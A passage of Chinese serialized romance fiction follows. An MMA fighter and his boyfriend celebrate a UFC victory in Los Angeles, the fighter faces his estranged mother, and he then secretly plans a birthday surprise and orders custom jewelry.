陶真下意识地想象了一下那个画面,冷峻凶悍的太子爷配上一个像狗牌的项圈,遇到人就把衣领拉下来,展示上面“陶真”两个字。 他没忍住噗嗤一下笑出声来,刚刚的那股酸溜溜的情绪消失得无影无踪,小声说:“还是不要了吧。” “好丑啊,很给你丢人呀……” 祝闻声幽深的眼底仍含着些许笑意,似乎经过深思熟虑,很认真地评价道:“其实还好。” 陶真皱起了脸,对此表示十足的怀疑。 天色已晚,洛杉矶的夜灯火通明,背后还时不时传来阵阵喧哗吵嚷声。 习习凉风吹拂而过,两人聊着天,不知不觉便走到了场馆后门。 转身时,祝闻声心里莫名一跳,总感觉背后有一道视线,下意识地扭头看了一眼。 陶真顺着他的目光往后看去,有些警觉:“怎么了?”不会是那个小胡子阴魂不散吧? 真正回头看的时候,那道视线又好像消失了。 祝闻声有点迟疑地收回视线,慢慢道:“……没什么,应该是我感觉错了。” 陶真不置可否,刚好主办方帮忙安排的车驶出了地下车库,他生怕那小胡子卷土重来,干脆地拉着祝闻声一块坐了进去。 汽车一路疾驰,很快就拐入了庆功宴餐厅所在的街道。黎旻他们已经将所有餐点酒水都准备好了,临时又想吃冰淇淋,所以让两人顺路从贩卖机带几罐上来。 这么点小要求,两人自然会尽力满足,岂料今天餐厅的贩卖机出了毛病,光收钱,不出货。 陶真震惊地围着贩卖机绕了两圈,可怜兮兮地控诉道:“不是,它怎么这样啊!” 祝闻声莞尔,伸手揉了揉他蓬松的金发:“没事,你先上楼跟他们说一声,我来解决。” 若是两人再不出现,恐怕要被大家误会在外面偷偷生孩子了。陶真想了想,没有推辞,笑着亲了他一口,蹦蹦跳跳地上了楼。 祝闻声感受着脸颊上温热的触感,唇角微微勾起,旋即找前台解释了一下情况。前台很抱歉,立刻打电话找人来检修。 不过,检修需要一定的时间,团队现在就想吃冰淇淋的话,祝闻声只能另寻他法。好在在他们来的路上就有一家便利店。 祝闻声干脆地出了餐厅,大步地向便利店的方向走去。 只是还没来得及走多远,他就敏锐地感觉到身后有一股紧紧盯着自己的视线,跟在赛场后台时感觉到的一样。 祝闻声眉心微锁,确认不是自己的错觉后,若无其事地继续往前走,在拐角时忽然扭头,果然发现了端倪。 那是一辆悄无声息、牢牢缀在他身后的银灰色奥迪。 粉丝?还是媒体? 祝闻声面无表情地走向那辆奥迪,不轻不重地敲了敲车窗:“麻烦解释一下,你为什么……” 话音未落,他整个人愣在了原地。 驾驶座的车窗缓缓降下。 夜风呼啸,车里的女人低着头,小心翼翼地拨开脸上凌乱的发丝,露出一张成熟秀美、与他有五六分肖似的脸庞。 司姝抬起头,苦笑了一下:“……抱歉。” 路灯高悬,晕黄的光芒,朦胧地勾勒出阔别多年的母子二人,四周一时寂静无声- 虽然MMA综合格斗在国内一直是小众活动,并不像其他主流运动一样受人关注,但在国际范围内的知名度还是很广的。所以,作为第一次参加UFC比赛就成功KO了“传奇耐揍王”奥斯本的选手,祝闻声饱受关注,媒体对他赞不绝口,国内的粉丝们也对他寄予厚望。 连带着整个团队都扬眉吐气起来,生出些许“为国争光”的感觉,庆功宴上的氛围热闹至极。 负责祝闻声整体训练计划的主教练刚刚太高兴,连灌了几杯酒,这会儿显然已经有些醉了,红着脸吹嘘道:“……我、我早就说过!以S这个潜质,想要打穿UFC,不过是时间问题!三到五场,就可以挑战中量级冠军!” 一旁专门负责柔术的教练没忍住拆他台:“你就吹吧,今天比赛之前你还在那儿担心S能不能适应UFC的节奏呢……我才是一直相信他的好吗?S的地面缠斗可是顶级中的顶级!打这些比赛肯定没问题!” 主教练不甘示弱:“哦,你说S的地面缠斗厉害,就是你教的这项厉害呗?S最应该感谢的人是你?” 柔术教练谦虚:“最应该感谢的人说不上,但我确实付出了不少努力……” 主教练瞪大了眼:“我呸!” 平常都端着架子的教练为了“争宠”嚷嚷起来,颇有些反差的喜感。众人闷笑,都在一旁看热闹。 最终还是黎旻走过去将他们两人分开,清了清嗓子,一本正经地宣布道:“哎呀,大家都付出了好多努力,不被S感谢的人也太可怜了。不如……我给那个人多一点奖金吧?” 空气突然沉寂了几秒。 主教练放下酒杯,忽然握住了柔术教练的手,语气诚恳:“兄弟,其实我觉得你的地面缠斗教的特别好。” 柔术教练反手推了回去,眼神真挚:“不,主教练才是我们团队的核心,没有你的指导,哪里来的我!” “……” 众人捧腹笑得前仰后合,黎旻也忍不住笑着给了他们一人一拳,伸手搂住一旁的陶真:“差不多得了啊,俩大老爷们还跑来争宠了,就算该感谢也轮不着你俩,人家陶真都还没说啥呢。” “这次啊,陶小真才是我们的大功臣。” 陶真从刚刚开始就一直端着饮料在人群里傻乐,这会儿突然听到自己的名字,还有点没反应过来,傻傻地指了指自己:“……啊,我?” 他睁大眼睛,赶忙挥了挥手:“大家都很努力,是我什么忙都没帮上。黎姐一直在忙活动对接,教练们为阿声提供指导、战术复盘,营养师们做健康餐,理疗师也很辛苦……阿声最该感谢的人其实是他自己。” 鲜少在人群里说这么煽情的话,说到最后,陶真声音越来越小,向来大大方方的人脸蛋几乎涨红。 身旁的众人闻言一怔,笑盈盈地围过来,脸上没了那份调侃,显得模样格外真挚。黎旻也弯起了唇,一身红裙耀眼热辣,要不是顾忌着祝闻声等会就上来了,她真想在陶真脸上用力亲一口:“当然啦,你说的这些大家都知道,可是你也很重要呀!你一直为我们忙前忙后,都快把自己当块砖,哪里需要往哪儿搬了。” “更何况……你一直都陪在他的身边。” “你不知道,你的出现,对他来说,就已经是莫大的帮助了。” 黎旻向来唇边含笑,看起来有些不正经,可她此刻说的每个字都是认真的。 她真的,很感谢陶真的到来。 “……” 陶真舔了舔唇,忽然拧过了头。 少年白皙的脖颈从锁骨一路往上都蔓延上了有些害羞的粉色,味道恐怕比草莓哈根达斯还要甜。他的眼神不住乱飘,看向门口,小声说: “……那个,大家不是说想吃冰淇淋吗?我看阿声还没回来,我给阿声打个电话问一下……” 众人都忍不住笑了,不约而同地散开,附和道:“对对,冰淇淋!” 脸颊和耳垂都滚烫,陶真忍不住伸手摸了摸,心底里除了不好意思之外又涌起一股难以言说的甜,好像收到了某个很了不得的宝物。 他几乎有些迫不及待,想和祝闻声一起拆开,动作飞快地给那边打了个电话,可“嘟嘟”声持续了半晌,最后却因无人接听而挂断了。 陶真一愣,但很快就意识到,祝闻声可能是因为手里拎着太多东西,所以没空看手机。 想到这儿,他看向黎旻:“姐,我下去接一下阿声,你们先玩。” 黎旻明白他的意思,点了点头,笑着目送金发少年连蹦带跳地出了门。 陶真没等电梯,直接一步三个台阶地下了楼,在大堂里转了一圈,发现那贩卖机还没修好,问了一下前台,得知祝闻声应该是去了附近最近的便利店后,他便笑眯眯地道了谢,脚步轻快地冲出餐厅,顺着街道一路往前。 然而,才走了一百米不到,他的脚步便倏地顿住,就连脸上那两颗明晃晃的小虎牙都收了回去。 不远处的路灯下,一辆低调奢华的银灰色奥迪旁,一道高大冷峻的身影沉默地伫立着,他的对面站着一个成熟秀丽的高挑女士。 昏黄的光勾勒出两人的侧脸,鼻梁高挺,嘴唇薄削,下颌精致,简直是一个模子里刻出来的,格外肖似。 这样的气质,这样的容貌…… 毫无疑问,这位女士,是祝闻声的母亲。 母亲,父亲。 这原本是人在这个世界上最亲近的家人、最不需害怕的人,可看见祝闻声和母亲在一起,陶真的心脏却立刻捏紧,甚至为他捏了一把冷汗,情不自禁地想起了上次祝闻声和父亲在Light俱乐部里针锋相对的场景——那男人明明是祝闻声血源关系上最亲近的人,却对他大呼小叫、甚至拳脚相加,关系犹如仇人。 那祝闻声的母亲呢? ……她会和祝闻声的父亲一样吗? 陶真舔了舔唇,不敢细想,垂在身体两侧的手攥紧了,犹豫着不知该不该上前。 恰在这时,沉默在原地站了许久的女人终于动了,她上前一步,似乎是想要抓住祝闻声的手,祝闻声的身子却往后轻巧一退,避开了她,和她之间保持着一人左右不远不近的距离,表情看起来冷淡平静。 那女人似乎没料到他会这么决绝,手指僵在半空当中,眼眶顿时红了,看起来有些受伤,又连声哀求着说了什么。 若此刻陶真是以陌生人视角望去,恐怕会以为这里正上演着叛逆儿子和可怜老母亲的戏码。 但事实与之相反,祝闻声沉默着在原地听了半晌,终于抬起手,指向了一旁的银灰色的奥迪,一字一句地说了些什么,那女人立刻像是被戳穿了什么最隐秘的心事一样,僵住不动了。 陶真一头雾水,忍不住扒着墙根踮起脚往里看,下一秒整个人浑身的血液都凝固了。 奥迪后座的车窗开着,里面竟然还坐着一男一女——一个金发碧眼的老外一个模样娇俏的混血小姑娘,而这小姑娘,和祝闻声的妈妈长得简直一模一样。 不是祝闻声铁了心要跟女人搞叛逆,分明是女人十三四年前自己做的孽。 她当然可以选择为自己而活,追求自己的人生,组建新的家庭,可前提是不能将祝闻声一个才六七岁、根本没有自理能力的小孩子丢在国内不管不顾,将所有的爱意都给新生的孩子,现在却又跑过来情深意切地握住大儿子的手……天底下没有这样的道理。 若是换了旁人来,恐怕早就甩脸色走人了。祝闻声没有生气发火、只是看起来有些冷漠,已经是给足了她的面子。 女人大概是自己也意识到了这一点,脸色有些灰败,听祝闻声又说了几句,根本无法反驳,只能颓丧地垂下脸、双手掩面,肩膀不住地耸动。 她哭了。奥迪车上的父女两人慌乱地跳了下来,急急忙忙地将她围在中间,叽里呱啦地哄了起来。 祝闻声一时陷入了沉默,半晌后,收起了掌心的手帕纸。 他站在原地,又说了两句什么,之后平静地收回目光,径直走向了自己原本的目的地。 他与她的人生,在早些年紧密交缠,如今却已背道而驰。 以昏黄的路灯为界,沿街一边有光,一边是影。 女人和她的家人站在昏黄温馨的光芒下,祝闻声独自一人迈入夜色里。 然而,祝闻声并没有孤单太久,因为身后忽然传来一声呼唤。他转过头,一个灿烂的金发少年骤然闯进了他的视线。 “阿声!!” “……” 祝闻声这回是真真切切地愣在了原地,下意识地伸开双臂去抱他,没忍住问:“你怎么来了?怎么不跟他们吃饭?” 陶真干脆地搂住了祝闻声的脖颈,一个骨碌跳进他怀里,毛茸茸的头发在他怀里乱蹭:“我出来找你呀,我和你一起买冰淇淋!” 两个人的体温都很高,在一块儿却像是冬天窝在巢穴里取暖的小动物。很奇妙,这份温暖,令郁结在胸口的那股沉闷在一瞬间散了大半。 祝闻声黑沉的眸中有几分温和,抱住陶真,亲了一口他脸颊上的白皙软肉,片刻后才低声道:“……那你刚刚,都看见了吧?” “嗯,看见了。”陶真若无其事地从他身上跳了下来,故意道,“我都猜到了……她是不是打算甩给我五百万,要我赶快离开你?” 祝闻声怔了怔,失笑。 多年没有联系过的母亲一朝出现,身边带着新的丈夫和女儿,嘴上却说着要补偿,想要对他的人生指手画脚,劝他和男朋友分手。 这本是能够将人逼疯的事,可现在由陶真这么误打误撞、轻描淡写地说出来,好像却又算不上什么了。 “是啊,”半晌祝闻声才说,“你打算怎么办?” 陶真像只小孔雀似的哼了一声:“我再多给她甩五百万,问她,这样能不能不离开她儿子?” 心里最后的沉郁消失得无影无踪,如同满是冰凌的小溪融化,叮叮咚咚地流。 祝闻声莞尔垂眸,牵起陶真的手,在他手背上用力地亲了一口,声音低哑:“要为我花这么多钱?” 陶真耳根微红,有点害羞,却还是大方地拍了拍胸脯:“当然啦!” 两人沿着街道一路往前,不知不觉地越过了那一片黑暗,渐渐走进了暖黄色的灯光下。 那辆银灰色的奥迪也驶过,掀起一阵凉风,无声无息地消失在洛杉矶繁华的夜色里。 陶真顺势握住了祝闻声的手掌,蓦地开口: “发生了这种事情,是个人心里都会不开心,所以如果……” 祝闻声忽然温声说:“没有不开心了。” 少年的指节纤细修长,白皙柔软,和青年格外粗粝的骨节是两个极端。 牵着手,不一会就生出些潮乎乎的细汗,可是两人谁也没松开。 陶真抿了抿唇:“……真的?” “真的。” 祝闻声停下脚步。他唇边挂着点浅淡的笑意,幽沉的双眸里却含着一颗热烫的真心。 “有你心疼我,我就再也不会不开心了。” 65 ? 第 65 章 ◎比起介意,他更爱我。◎ 暖黄的灯光如潺潺流水般从两人的头顶倾泻下来, 温暖地将二人包围,陶真愣了许久才忽然反应过来,踮起脚尖, 用力地抱住了祝闻声。 他们这般依偎了许久,只能听得见彼此的呼吸和心跳, 渐渐地,连频率都变得统一。好像此刻便是世界末日,除了他们的所有人都已消失。 半晌, 还是急促响起的电话铃声打破了这份宁静。 刚一接起,那头黎旻的声音就大喇喇地传了出来:“买个冰淇淋怎么还没回来?你们俩干嘛呢, 又在外面生孩子了?!” 温馨的气氛荡然无存:“……” 祝闻声深吸了一口气:“不是……” “如果不能给我带个大胖侄女,你就速速带着冰淇淋回来,大家都快饿扁了,等着你俩开席呢!”黎旻说完, 一旁的众人也笑着附和, 所有人的声音里都含着笑意, 满是UFC首战告捷的喜悦。 电话很快挂断,陶真和祝闻声对视了一眼, 也忍不住笑了。 他们自然没忘原本出来的任务,行至便利店, 将大家想吃的冰淇淋口味买好,立刻出发回程。然而,到包厢门口、即将进去时,陶真却忽然被祝闻声拦住了。 一路上,陶真心中都记挂着众人, 着急慌忙地跑步, 这会小脸被热的发粉, 整个人都满头大汗,有些不解:“怎、怎么啦阿声?有什么东西,忘带了吗?” 一墙之隔的地方传来了众人兴奋的喧闹、欢快的大笑。他们都在空调房里,身边就有不少点心,就算饿也饿不到哪里去。 祝闻声垂下眼,干脆利落地解开了塑料袋,从里面抽了一盒冰淇淋出来打开,挖了一勺,示意陶真张嘴:“没什么,就是突然想让他们等一等。” “……” 陶真一怔,弯起眼,张口将那那勺冰淇淋吃了下去。 浓郁的抹茶在口中融化,清新苦醇,带着奶油的香甜气息,味道好到让他忍不住像小动物那样眯了眯眼睛。 “好吃吗?” 祝闻声低声,伸出拇指擦了擦他的唇角。 陶真用力点头,好不容易将嘴里的冰淇淋咽下去,刚想开口让祝闻声自己也尝尝,就忽然感觉自己的后脑被人扣住,腰肢一紧,整个人天旋地转。 反应过来时,已经被抵到了祝闻声和墙角之间,张开嘴巴迎接着滚烫入侵的唇舌。 抹茶的香气在两人之间弥漫开,他们接了一个长长久久、缠绵的吻。 等陶真好不容易缓过来、脸上的温度渐渐消退,若无其事地走进包间时,塑料袋里的冰淇淋已经没有刚刚那么坚硬了,好在众人毫无所觉,兴高采烈地接过去分了。 黎旻也只是跟他们开玩笑,根本没有真跟他们生气的意思,拆开的第一罐冰淇淋就往陶真和祝闻声的手里塞,祝闻声没什么反应,倒是陶真自己不好意思,脸都快埋到地底下了,连忙摇手拒绝说自己吃不下了。 一场庆功宴热热闹闹的,高高兴兴地开始,依依不舍地结束,跟场梦似的。 第二天起来,众人重新忙得脚不沾地,对接各种商务活动、完成各家媒体采访,安排好之后这段时间的行程,打探下一次的比赛时间和地点……紧赶慢赶也要了三天。 十四号上午,精疲力竭的众人终于结束了这趟洛杉矶之旅,踏上了回国的飞机。 一场漫长的飞行下来,哪怕是头等舱,所有人都已经累得腰酸背痛,连抬根手指的力气都没了。从机场出来坐俱乐部安排的车回去时,群里更是安静如鸡,显然已经睡了一大片。 陶真也有点顶不住了,但他看见手机屏幕上显示是陶大俊打来的电话,还是拍了拍脸,努力打起精神接了起来:“喂?爸爸——” 毕竟是出国这种横跨大洋的长途旅行,陶大俊虽然很相信他,但还是不免有些关心:“喂,儿啊,有没有到家呀?你跟阿声现在怎么样啊?” 陶真看了一眼身侧的祝闻声,青年虽然身体素质超群,但毕竟也是人,也会累,这会正闭着眼睛靠在椅背上,看样子是睡着了。 “刚下飞机,这会儿正坐车准备回家呢,”陶真不由自主地放轻了些声音,但脸上与有荣焉的笑容倒一点没少,“我这次出去就是玩儿的,没干什么,阿声倒是很厉害,他在UFC第一次出场就赢了对手,而且还是那种特别厉害的KO!媒体和粉丝都快把他夸爆了……” 自从上次祝闻声敞开心扉地谈过一次之后,陶大俊就打从心底里觉得这孩子有担当、有出息,也接受了他和陶真在一起,这会自然惊喜地多嘴了几句,问了一些比赛的细节。 陶真也不厌其烦地替他解答着,只是说着说着实在是困倦的要命,忍不住打了个大大的哈欠,被那头的陶大俊听见了。陶大俊这才意识到陶真他们累得不行,赶忙捂住嘴、止住话头:“诶哟好了好了,我不打扰你了,你先休息,等会儿回家好好睡一觉……” 陶真迷迷糊糊地“嗯”了一声。 “等等等等!差点忘了我本来想问你的事儿,”临挂断前,陶大俊一拍脑袋,“儿啊,你生日不是快要到了吗,你想要怎么办,是不是还跟之前一样?” “最近有没有什么想要的东西?你记得跟爸爸妈妈讲啊……” 闻言,陶真忽然清醒了一些。 他的生日是七月二十二号,不像祝闻声四年一遇的日子那么特殊,但也挺好记的,既是大暑节气,也是巨蟹座的最后一天。 因为天生喜欢热闹,所以以往过生日时,他都会请许多朋友过来一起开派对。但去年的事情很清楚地告诉他,那些酒肉朋友是实在没什么交往的必要,朋友贵精不在多,有几个知己好友已是足够。 “不了爸,今年我不想办,就咱们自己吃饭就好,”陶真想了想,又说,“我也没啥想要的礼物,你随便送什么都行。” 陶大俊又在那头“哎哟”了几句,不知是想到了什么,又简单地嘱托了陶真几句“快乐开心”的话,便念着让他休息,赶快挂了电话。 “嘟嘟”的结束通话音响起,父亲关心的声音却仍在耳畔。陶真翻了个身,本来想关掉手机就睡觉的,不知为何,却有些睡不着了。 给家人和朋友买礼物,是他们家最为常见的事。 这么多年来,无论陶大俊和林曼妙多忙、无论他们能不能在他过生日那天赶回来陪他一起,都不会缺了这份心意。而攒钱给陶大俊和林曼妙他们惊喜,也是他这么多年形成、雷打不动的习惯。 但是,并不是所有人的家庭都和他的一样。 有些人不会和家里人庆祝,也不一定能在生日那天收到礼物,甚至……根本不喜欢过生日。 想到这儿,陶真抿了抿唇,忍不住看了一眼身侧闭着双眼的祝闻声。 二月二十九号时,他还尚不明白黎旻他们为什么会说生日是祝闻声的雷点,现在却已经朦朦胧胧地猜了个大概。 父亲不疼,母亲不爱……连出生都变成了错误。他能大概理解祝闻声的想法,却并不能接受。 世界上最好的祝闻声,明明什么也没做错。 值得世界上最好的东西,值得天底下的一切。 若是祝闻声不知道这一点,那就由他来送,由他来说。 陶真暗下决心,脑海中已隐隐约约地有了即将送给祝闻声的礼物雏形。 压在心中的大石头卸下,他渐渐地靠着车窗陷入了沉眠。 窗外是川流不息的车辆,正值午时,头顶烈日高悬,暑气蒸腾。 陶真睡着之后,他身侧的祝闻声睁开了眼,一双幽深的眸格外清醒,毫无睡意。 祝闻声先将车窗的隐私帘拉好,又从一侧拿了条毛绒毯子,轻手轻脚地给陶真盖上,做完这一切,才直起身子,支着脸侧,安静地凝视着陶真。 刚刚陶真和陶大俊打电话的时候,他刚要睡着,听见少年的声音之后便不自觉地醒了,害怕打扰到父子二人才一直闭着眼没有开口。但渐渐地,听见了少年和父亲聊天的内容,也注意到少年落在自己身上的目光,便真的有些睡不着了。 他之前便看过陶真的身份证,当然是知道陶真的生日在七月二十二号,只是和陶大俊一样,尚未想好到底要送陶真什么礼物。 出发去洛杉矶之前,他其实已经让人去定了一台迈巴赫,但这会儿回来了,他却又觉得,哪怕是再好的车也配不上陶真。 ——他不想只给陶真砸钱,送这些无论谁有钱都可以买得到的东西,他想为陶真准备一份特殊的礼物。 可是,送什么呢? 送什么好呢? 从小生活在富足并且有爱的环境里,说到底,陶真其实是什么都不缺的。更何况给陶真送礼物的不止他一个人,除了陶大俊和林曼妙之外,还有从小就和陶真一块长大的佟夏和顾行舟他们。 这么多人都会费尽心思、绞尽脑汁地给陶真买礼物,他想到的,旁人也可能想到。 祝闻声不自觉地放空了几秒。 隐私帘拉上之后,车内顿时陷入了无边的黑暗,只有缝隙里透出朦胧的光晕。陶真仰在椅背上,整个人窝在毛茸茸的毯子里,可怜可爱。 金发蓬松稚气,巴掌大的小脸雪白粉嫩,纤长的睫羽浓黑,挺翘的鼻尖下是浅粉的唇,笑起来的时候还会露出里面的小虎牙。跟初见时一样,比初见时还漂亮。 大约是睡得熟了,他翻了个身,小小声地喃喃了一句什么。 祝闻声回过神,凑过去才听清,少年是含混着念叨了一句歌词。 歌词…… 唱歌…… 音乐…… 脑海里似乎有噼啪的火花闪过,祝闻声微微一怔,突然有了一个大胆的念头。 这个念头想要落地实施实在是很艰难,并不是他一个人可以完成的,况且现在才开始的话,时间会相当紧迫,最后能不能成功都不一定。 不过,艰难也好,失败也好,他都想试一试。 汽车很快就到俱乐部楼下,众人各自四散离开。祝闻声将睡眼朦胧的陶真带回了家,若无其事地做饭,脑海里却在仔细地思考着计划所需要的人力物力。 趁着陶真吃完饭睡觉,他去阳台打了几通电话,令他们先着手安排场地,之后又分别联系了陶大俊、林曼妙,仔仔细细地说明了自己的意图。 两位长辈一开始听得云里雾里的,明白了之后有些惊讶,却立刻同意了他的邀请。 接下来,就轮到佟夏和顾行舟他们。 毕竟之前曾经一起去大禹湾玩过,还共同相处了好几天,祝闻声有他们的联系方式,在电话里详细地为他们解释了一番。 佟夏和顾行舟两人几乎没有犹豫,直接爽快地答应了,甚至还在第二天给了祝闻声一个巨大的“惊喜”。 本该在宣城的两人竟然买了机票杀到南城来,约祝闻声在南城大学旁边的咖啡馆见面。 祝闻声怔住了,立刻动身前往目的地。 推开门,一串印尼果壳风铃立刻带来一阵“哗啦啦”、似海浪的潮声,咖啡的烘焙香气也扑面而来。 顾行舟和佟夏正坐在窗边,见他来了,急急忙忙地冲他挥了挥手:“这儿!” 祝闻声立刻大步走了过去。 哪怕是为了陶真,他们也是千里迢迢、远道而来,祝闻声打完招呼便率先买了单,没让他们在这儿多花钱不说,甚至还把他们来回的机票钱报销了。 搞得顾佟两人有点不好意思了,都觉得自己是在吃白食。妖娆小零顾行舟想着要和兄弟的老公保持距离,便扭捏地捅了捅佟夏,意思是让她开口。 佟夏被他撞的身子歪了歪,忍不住瞪了他一眼,旋即才看向祝闻声,语气有些委婉:“没关系的,我们是小真的朋友,这些都是我们心甘情愿花的。” “你……本来就,就比较紧张,现在为了小真又要花这么多钱,我们心里也过意不去……” 祝闻声一顿,眉心一跳:“我也没关系,你们放心,我不缺钱。” 哪怕他为了不再受祝家和司家的控制,已经将这些年他们“送”给他的东西陆陆续续地还回去了,但他毕竟打了这么些年的比赛,又签约了UFC,身上还有自己投资的股份,只靠自己,手里的积蓄也够养陶真百八十年的。 作为陶真最亲近的朋友,佟夏和顾行舟有权利知道他和陶真之间跌宕起伏、一波三折的恋爱过程,于是在开始聊计划之前,祝闻声又花费了一些时间为两人简单地解释了一番,最后总结道:“现在,我和陶真之间并不是……包养关系,已经是正经的恋人了。” 顾行舟和佟夏都微微一怔。前者率先反应过来,露出了一个祝福且羡慕的表情:“死丫头命真好!恭喜你们!” 后者倒是彻底愣住了,半天都没回过神,手指紧紧地攥住甜品勺,骨节有些发白,被顾行舟搡了一把才抬起头:“啊……” 佟夏仰头看着祝闻声,眼神略微有些复杂,半晌才低声问:“小真他……真的,不介意吗?” 祝闻声静静地垂下眼,似乎看透了她的纠结:“换成是谁,应该都会介意的。” “但比起介意,他更爱我。” 女孩似乎有些出神,顾行舟也知道她在思考什么,忍不住在旁微微地叹了口气。 想了想,他干脆抓住祝闻声,让其赶快讲一下陶真生日的具体作战计划,这才分散开了女孩的注意力。 祝闻声也定了定心,认真地跟两人描述了一遍。 “……我的老天,”光是听,顾行舟就忍不住有点抓狂,动作粗鲁地挠了挠自己刚做好的发型,“你太牛逼了,我感觉我嘎巴一下就要死这儿了。” “我同意子涵说的……”佟夏难得没有和顾行舟互怼,她也忍不住咂舌,“还得提前给你打个预防针,我们是真的没有天赋,而且就剩这么几天了,真的不知道能不能行……” 祝闻声其实比任何人都知道这一点,但他就是想,为陶真过一个与众不同的生日。 他垂下眸,几乎弯下腰,认真地对佟夏和顾行舟说:“没关系,真的谢谢你们。” “……” 冷峻的青年也许一辈子也没怎么低过头,此刻却难得地露出了一副堪称恳求的表情。 佟顾两人都愣住了,片刻后才回过神,气势汹汹地拍了下桌子,咬牙拼了:“……刚跟你开玩笑呢,其实对我们俩来说轻松得很!行,怎么不行了?跟你打包票了,没问题。你赶快去忙吧,我们不耽误你时间了!” 他们两人也被燃起了斗志,和陶真认识了这么久,他们自认和陶真的感情可不输于任何人,这会决定要捋起袖子大干一场,匆匆地把祝闻声推走了。 祝闻声的确有很多事情要做,这会也没有和他们拉扯,只在离开咖啡厅后,回头看了一眼。想了想,掏出手机,在通讯录页面找到J,给江姗打了个电话。 “……喂?”那头的女声听起来有些疲惫,大约是将手机拿远一些看了一下联系人,声音变得忽小又忽大,“给我打电话,是有什么事情吗?” 这种疲惫麻木的神态装不出来,祝闻声也体验过这一刻的心情。他沉默两秒,给了女人一个忠告:“谢谢你上次帮我。你要让她知道,她在你这里,比那些伤害你的人更重要。” “……”江姗猛然回神,心脏突突地跳了起来,“你,你碰见她了?” 祝闻声“嗯”了一声,他相信女人能明白自己的意思,没有再多说什么,转手挂断了电话继续去忙。 谈场地、布置场景、请专业人士,统筹协调……所有的事情亲力亲为,不知不觉,时光飞逝,天色已晚。 计划里还有一条最基本的原则,就是不能提前让陶真知道。 于是,见时间差不多了,祝闻声迅速抽身,顺路去超市买菜,准备跟往常一样回家给陶真做饭,路上却忽然接到了赵钊的电话,耐着性子问:“什么事?” “……啊哈哈哈哈,”不知为何,赵钊今日的笑声似乎有些尴尬,他清了清嗓子,用和平常并无二致的语气说,“这都被你猜到了,的确有件事要拜托你。” 祝闻声垂眼整理了一下手边的食材,示意赵钊继续说。赵钊咽了下口水:“我…我这段时间迷上一个女孩,她是做设计的,平常没什么爱好,我无论怎么追也追不到,但现在她刚好有个作业需要帮忙,我必须得抓住这个机会啊!” “他就需要你这种模特身材的,帮他试一下尺寸,顺便参谋一下到底是哪款设计好看……你看一下,你有没有空啊——” “没有。”祝闻声语气平静。 他的回答斩钉截铁,若这件事真的很严肃便罢了,只是赵钊想追一个八字都没一撇的女孩而已,他现在的时间很宝贵,浪费不起。 感觉祝闻声下一秒就要挂电话,那头的赵钊求爷爷告奶奶似的喊了起来:“哥!求你了!就一会会,不会耽误你很多时间的,我真的求你了!!!” 祝闻声微微拧起眉:“……那你等我一会,我回家给陶真做完饭就去。” 赵钊连忙说没问题。 祝闻声挂断电话,岂料,下一刻便收到了陶真发来的信息。 ——少年说,自己今天晚上可能会和贾嘉他们一块出去吃晚饭,可能要迟一点回来,让祝闻声不要给他做饭,也不要等他。 ……这倒是便宜了赵钊。 祝闻声回复完好,便直接掉了头,去赵钊发来的位置。 这是一个私人珠宝定制工作室,地段很黄金,装修很有格调,就连四周的装饰画看起来也都是有年头的真品。 唯一的问题是,赵钊这次迷上的“女孩”,性别似乎出现了点问题。 工作室大门打开,从里面走出来的,赫然是一个看起来约莫三十五岁、化着烟熏妆的中年男人。 他让祝闻声在沙发上坐下,自己则拿了软皮尺来绕着他的脖颈、锁骨、肩膀,比了一圈,全程都在啧啧称奇。 等量完之后,又把两张手绘的设计图拿了出来,笑得活似花枝乱颤:“帅哥,你喜欢哪一款?” “……” 祝闻声陷入沉默,放在身边的手指紧握成拳,缓缓抬头看向了一旁的赵钊,含义不言而喻。 这就是你喜欢的,女孩? 赵钊的脸色僵了一瞬,冲那名设计师干笑一声,说了一句稍等,把祝闻声拉到了一侧。 等两人在角落站定,他像是下定了某种决心,压低了声音说:“……是!我是真、真的很喜欢他!” “求你了,兄弟!” 【📢作者有话说】 赵钊:有人为我发声吗[抱抱]我也是你们play中的一环 66 ? 第 66 章 ◎心怀鬼胎的两人若无其事地压下了擦枪走火◎ “……” 祝闻声露出了一个罕见的、难以言喻的表情。 一时间, 他竟不知是该把赵钊带去医院治疗,还是应该将他带到寨子里请高人驱邪比较好。但转念一想,自己这样的想法似乎实在是太过刻薄, 毕竟……真爱不分界限。 千百种念头纷飞,沉默片刻, 他最终拍上了赵钊的肩膀,郑重道:“好。” 赵钊勉强笑了一下。 然而等祝闻声转过身时,他的眼角险些滑下两行清泪, 表情比吃了绿头苍蝇还难看。 “……聊完了吗?”见他们过来,设计师亲亲热热地迎了上来, 凑到祝闻声身边,把手上的设计稿摊开,又重复了一遍,“帅哥, 赶紧来看看你喜欢哪一款, 有没有什么意见。” 祝闻声想着赵钊悲壮的表情, 压下不耐,接过设计稿翻了翻。 然而就这么随意地看了一眼, 他心底的躁郁便一扫而空,甚至不自觉地将图纸拿得更近了一些。 毫无疑问, 手里的第一张稿子是大师制作,即使以外行的眼光看去都觉得极为出彩。会根据用户身体定制的项链长度大概刚好在胸口处,无论是设计还是珠宝的颜色都十分漂亮。 但是,真正让祝闻声感到惊艳的还是第二张稿子。 这张稿子,创意地将一枚暗色的颈环, 与两枚亮色的戒指结合在一起。 颈环一端做了可拆卸的设计, 方便和戒指分开单独戴。它跟市面上潦草粗大、堪称腰带般明显的项圈不同, 特意做得很细,却又坚韧又柔软,缀以耀眼的珠宝,看起来更像是一条普通的项链,但有着项链没有的特殊意味。 最难能可贵的是,尽管这条颈环已经相当出彩了,戒指却并没有被它抢去风头——两枚情侣款的戒指有着细微的差别,但戒圈上都点缀着细碎如同星光般闪烁的链条,中间镶嵌着一颗耀眼的红宝石,下端还特意做了微微融化的设计,如同一颗滚烫的红心。 漂亮。 相当漂亮。 只看一眼便难以忘怀。 “……这个。” 黑发青年突然开口。 室内寂静的气氛被打破,一旁屏息凝神的赵钊也回过神,看见自己一向冷静、仿佛对什么东西都无欲无求的好友抬起头,极为认真地看向那设计师:“您能把第二张设计稿卖给我吗?” 那设计师微微一怔:“卖给你?” 祝闻声认真地点了点头,他其实不是喜欢戴首饰的人,而且因工作性质也不方便戴,但他也说不清为什么,鬼使神差地,特别想要第二张设计稿上的颈环和戒指: “是的,光说设计稿不太准确……您能将这张图上的首饰做出来吗,我很想要这个。” 空气一时凝固住。 那设计师回过神,忍不住笑起来:“你……这,你确定要我卖给你?不是我不想卖,但是……” “但是”后面的话没说完,赵钊瞪大了眼,突然一个猛子冲到设计师面前,急急忙忙地扑倒了他。 